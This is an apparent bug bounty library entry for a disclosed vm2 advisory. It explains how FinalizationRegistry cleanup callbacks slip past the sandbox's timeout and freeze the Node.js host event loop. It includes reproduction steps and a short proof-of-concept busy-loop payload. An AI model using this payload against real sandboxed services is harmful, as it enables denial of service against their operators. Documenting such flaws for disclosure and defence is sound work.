# vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)

vm2's timeout only wraps VM#run(); sandboxed FinalizationRegistry callbacks fire later via GC, letting a dropped object's cleanup busy-loop freeze the host event loop indefinitely.

- Payout: Research
- Severity: high
- Program: vm2
- Found by: mausamrijall
- Disclosed: 2026-10-05
- CVE: CVE-2026-92942
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-r4fx-v8hh-22mv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r4fx-v8hh-22mv
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:business-logic vuln:dos

**Target:** Node.js sandbox library (vm2 VM timeout enforcement)
**Root cause:** The timeout option only wraps the single synchronous _runScript call via doWithTimeout; FinalizationRegistry/WeakRef are exposed unhardened in setup-sandbox.js, so GC-scheduled cleanup callbacks execute outside any timeout accounting.
**Steps:**
1. Clone patriksimek/vm2 at a5b31cd9c01b37139aa9c71df1c691a6d1b440f9 and npm install.
2. Create VM with `new VM({ timeout: 200 })`.
3. Run sandboxed script: `let target = {}; const registry = new FinalizationRegistry(() => { const busyStart = Date.now(); while (Date.now() - busyStart < 3000) {} }); registry.register(target, 'held-value'); target = null;`
4. vm.run() returns in ~2ms with no error.
5. Force GC with `node --expose-gc` and `global.gc(); global.gc();`
6. Observe host `setTimeout(10ms)` fires after ~3000ms, proving event loop blocked past the 200ms timeout.
**How found:** Noticed timeout only wraps the single _runScript call, then grepped lib/ for FinalizationRegistry|WeakRef (zero matches) confirming they are exposed bare in setup-sandbox.js, and reasoned that GC-invoked callbacks bypass doWithTimeout entirely.
**Exploitation:** Attacker submits a short sandboxed script registering a FinalizationRegistry callback with a busy-loop and dropping the target reference; run() returns within timeout, then at a GC-determined moment the callback executes on the host event loop, freezing the single-threaded Node.js process for as long as the loop runs.
**Insight:** When auditing sandbox timeout guarantees, enumerate engine-scheduled callbacks (FinalizationRegistry, WeakRef, microtasks, timers) that run outside the wrapped entry point — a wall-clock timeout on run() cannot bound code the VM schedules after it returns.

## Proof of concept (copied exactly from the original report)

**Sandboxed payload registering GC callback**

```
let target = {};
       const registry = new FinalizationRegistry(() => {
         const busyStart = Date.now();
         while (Date.now() - busyStart < 3000) { /* burn CPU, block event loop */ }
       });
       registry.register(target, 'held-value');
       target = null; // drop only strong reference -> GC-eligible
```

**Run command with exposed gc**

```
node --expose-gc poc_timeout_bypass.js
```

